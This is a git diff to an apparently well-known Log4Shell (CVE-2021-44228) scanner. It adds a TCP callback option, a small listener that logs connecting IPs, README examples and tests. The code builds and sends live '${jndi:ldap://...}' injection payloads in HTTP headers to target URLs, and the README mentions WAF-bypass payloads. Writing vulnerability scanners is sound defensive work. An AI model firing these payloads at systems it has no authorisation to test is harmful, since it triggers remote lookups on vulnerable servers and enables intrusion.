diff --git a/.gitattributes b/.gitattributes new file mode 100644 index 0000000..c0d5faa --- /dev/null +++ b/.gitattributes @@ -0,0 +1 @@ +*.py text eol=lf \ No newline at end of file diff --git a/README.md b/README.md index 364ce7d..430c489 100644 --- a/README.md +++ b/README.md @@ -11,6 +11,8 @@ - Fuzzing for HTTP POST Data parameters. - Fuzzing for JSON data parameters. - Supports DNS callback for vulnerability discovery and validation. +- Supports TCP callback for vulnerability discovery and validation on corporate network (requires [TCP receveir](./tcp-receiver)). +- Supports preemptive basic authentication or authorization header injection (basic type) - WAF Bypass payloads. --- @@ -38,8 +40,8 @@ $ python3 log4j-scan.py -h [•] CVE-2021-44228 - Apache Log4j RCE Scanner [•] Scanner provided by FullHunt.io - The Next-Gen Attack Surface Management Platform. [•] Secure your External Attack Surface with FullHunt.io. -usage: log4j-scan.py [-h] [-u URL] [-l USEDLIST] [--request-type REQUEST_TYPE] [--headers-file HEADERS_FILE] [--run-all-tests] [--exclude-user-agent-fuzzing] - [--wait-time WAIT_TIME] [--waf-bypass] [--dns-callback-provider DNS_CALLBACK_PROVIDER] [--custom-dns-callback-host CUSTOM_DNS_CALLBACK_HOST] +usage: log4j-scan.py [-h] [-u URL] [-l USEDLIST] [--request-type REQUEST_TYPE] [--headers-file HEADERS_FILE] [--run-all-tests] [--exclude-user-agent-fuzzing] [--wait-time WAIT_TIME] [--waf-bypass] + [--dns-callback-provider DNS_CALLBACK_PROVIDER] [--custom-dns-callback-host CUSTOM_DNS_CALLBACK_HOST] [--custom-tcp-callback-host CUSTOM_TCP_CALLBACK_HOST] [--basic-auth-user USER] [--basic-auth-password PASSWORD] [--authorization-injection INJECTION_TYPE] [--disable-http-redirects] optional arguments: @@ -66,6 +68,8 @@ optional arguments: DNS Callback provider (Options: dnslog.cn, interact.sh) - [Default: interact.sh]. --custom-dns-callback-host CUSTOM_DNS_CALLBACK_HOST Custom DNS Callback Host. + --custom-tcp-callback-host CUSTOM_TCP_CALLBACK_HOST + Custom TCP Callback Host. --basic-auth-user USER Preemptive basic authentication user. --basic-auth-password PASSWORD @@ -101,6 +105,16 @@ $ python3 log4j-scan.py -u https://log4j.lab.secbot.local --waf-bypass $ python3 log4j-scan.py -l urls.txt ``` +## Scan an URL using a custom TCP receiver + +In a corporate network, using external DNS could/should be forbidden, and install a dedicated corporate DNS for this scanner usage could be not trivial. + +A way could be to use a running simple **[TCP receiver](./tcp-receiver/)** which logs vulnerable IPs. + +```shell +$ python3 log4j-scan.py -u https://log4j.lab.secbot.local --custom-tcp-callback-host 10.42.42.42:80 +``` + # Installation ``` diff --git a/log4j-scan.py b/log4j-scan.py index 9a3ddfd..9755a02 100755 --- a/log4j-scan.py +++ b/log4j-scan.py @@ -112,6 +112,10 @@ def parse_args(args_input): dest="custom_dns_callback_host", help="Custom DNS Callback Host.", action='store') + parser.add_argument("--custom-tcp-callback-host", + dest="custom_tcp_callback_host", + help="Custom TCP Callback Host.", + action='store') parser.add_argument("--basic-auth-user", dest="basic_auth_user", help="Preemptive basic authentication user.", @@ -287,7 +291,10 @@ def parse_url(url): def scan_url(url, callback_host, proxies, args): parsed_url = parse_url(url) random_string = ''.join(random.choice('0123456789abcdefghijklmnopqrstuvwxyz') for i in range(7)) - payload = '${jndi:ldap://%s.%s/%s}' % (parsed_url["host"], callback_host, random_string) + host_def = '%s.%s' % (parsed_url["host"], callback_host) + if args.custom_tcp_callback_host: + host_def = callback_host + payload = '${jndi:ldap://%s/%s}' % (host_def, random_string) payloads = [payload] if args.waf_bypass_payloads: payloads.extend(generate_waf_bypass_payloads(f'{parsed_url["host"]}.{callback_host}', random_string)) @@ -376,10 +383,13 @@ def main(options): raise ValueError("'--basic-auth-password' is mandatory when basic authentication user is defined.") if args.authorization_injection_type != 'none': raise ValueError("'--authorization-injection' is not compatible when basic authentication is defined.") - dns_callback_host = "" - if args.custom_dns_callback_host: + callback_host = "" + if args.custom_tcp_callback_host: + cprint(f"[•] Using custom TCP Callback host [{args.custom_tcp_callback_host}]. No verification will be done after sending fuzz requests.") + callback_host = args.custom_tcp_callback_host + elif args.custom_dns_callback_host: cprint(f"[•] Using custom DNS Callback host [{args.custom_dns_callback_host}]. No verification will be done after sending fuzz requests.") - dns_callback_host = args.custom_dns_callback_host + callback_host = args.custom_dns_callback_host else: cprint(f"[•] Initiating DNS callback server ({args.dns_callback_provider}).") if args.dns_callback_provider == "interact.sh": @@ -388,17 +398,21 @@ def main(options): dns_callback = Dnslog(proxies=proxies) else: raise ValueError("Invalid DNS Callback provider") - dns_callback_host = dns_callback.domain + callback_host = dns_callback.domain cprint("[%] Checking for Log4j RCE CVE-2021-44228.", "magenta") for url in urls: cprint(f"[•] URL: {url}", "magenta") - scan_url(url, dns_callback_host, proxies, args) + scan_url(url, callback_host, proxies, args) if args.custom_dns_callback_host: cprint("[•] Payloads sent to all URLs. Custom DNS Callback host is provided, please check your logs to verify the existence of the vulnerability. Exiting.", "cyan") return + if args.custom_tcp_callback_host: + cprint("[•] Payloads sent to all URLs. Custom TCP Callback host is provided, please check TCP receiver logs to verify the existence of the vulnerability. Exiting.", "cyan") + return + cprint("[•] Payloads sent to all URLs. Waiting for DNS OOB callbacks.", "cyan") cprint("[•] Waiting...", "cyan") time.sleep(int(args.wait_time)) diff --git a/tcp-receiver/README.md b/tcp-receiver/README.md new file mode 100644 index 0000000..e3805a5 --- /dev/null +++ b/tcp-receiver/README.md @@ -0,0 +1,11 @@ +# Simple Python TCP receiver + +Simple TCP receiver, which logs and writes in `output.txt` file any IP trying to connect on it (port 80, most common). + +It is for `--custom-tcp-callback-host` option usage of *log4j-scan*. + +Usage: + +```shell +nohup python3 log4ShellReceiver.py 2>&1 & +``` diff --git a/tcp-receiver/log4ShellReceiver.py b/tcp-receiver/log4ShellReceiver.py new file mode 100644 index 0000000..a7ea7f8 --- /dev/null +++ b/tcp-receiver/log4ShellReceiver.py @@ -0,0 +1,34 @@ +import socket +import sys + +# Create a socket +sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM) + +# Ensure that you can restart your server quickly when it terminates +sock.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1) + +# Set the client socket's TCP "well-known port" number +well_known_port = 80 +sock.bind(('', well_known_port)) + +# Set the number of clients waiting for connection that can be queued +print("Listening on " + str(well_known_port)) +sock.listen(20) + +# loop waiting for connections (terminate with Ctrl-C) +try: + while 1: + # accept + newSocket, address = sock.accept() + newSocket.setblocking(0) + sys.stdout.write("Connected from %s:%d..." % address) + + # log the IP address + with open("output.txt", "a") as outfile: + outfile.write("%s\n" % address[0]) + + # close the connection quickly + newSocket.close() + print("disconnected") +finally: + sock.close() diff --git a/tests/test_log4j_scan.py b/tests/test_log4j_scan.py index b8580d7..ff2bee6 100644 --- a/tests/test_log4j_scan.py +++ b/tests/test_log4j_scan.py @@ -34,7 +34,7 @@ def test_default(requests_mock, capsys): assert 'Authorization' not in adapter_endpoint.last_request.headers -def test_custom_dns_callback_host(requests_mock): +def test_custom_dns_callback_host(requests_mock, capsys): adapter_endpoint = requests_mock.get(LOCALHOST) log4j_scan.main(['-u', LOCALHOST, '--custom-dns-callback-host', DNS_CUSTOM ]) @@ -42,6 +42,23 @@ def test_custom_dns_callback_host(requests_mock): assert adapter_endpoint.call_count == 1 assert re.match(r'\${jndi:ldap://localhost\.custom.dns.callback/.*}', adapter_endpoint.last_request.headers['User-Agent']) + captured = capsys.readouterr() + assert 'Using custom DNS Callback host [custom.dns.callback]' in captured.out + assert 'Custom DNS Callback host is provided' in captured.out + + +def test_custom_tcp_callback_host(requests_mock, capsys): + adapter_endpoint = requests_mock.get(LOCALHOST) + + log4j_scan.main(['-u', LOCALHOST, '--custom-tcp-callback-host', '10.42.42.42:80']) + + assert adapter_endpoint.call_count == 1 + assert re.match(r'\${jndi:ldap://10.42.42.42:80/.*}', adapter_endpoint.last_request.headers['User-Agent']) + + captured = capsys.readouterr() + assert 'Using custom TCP Callback host [10.42.42.42:80]' in captured.out + assert 'Custom TCP Callback host is provided' in captured.out + def test_authentication_basic_no_password(): with pytest.raises(Exception) as ex: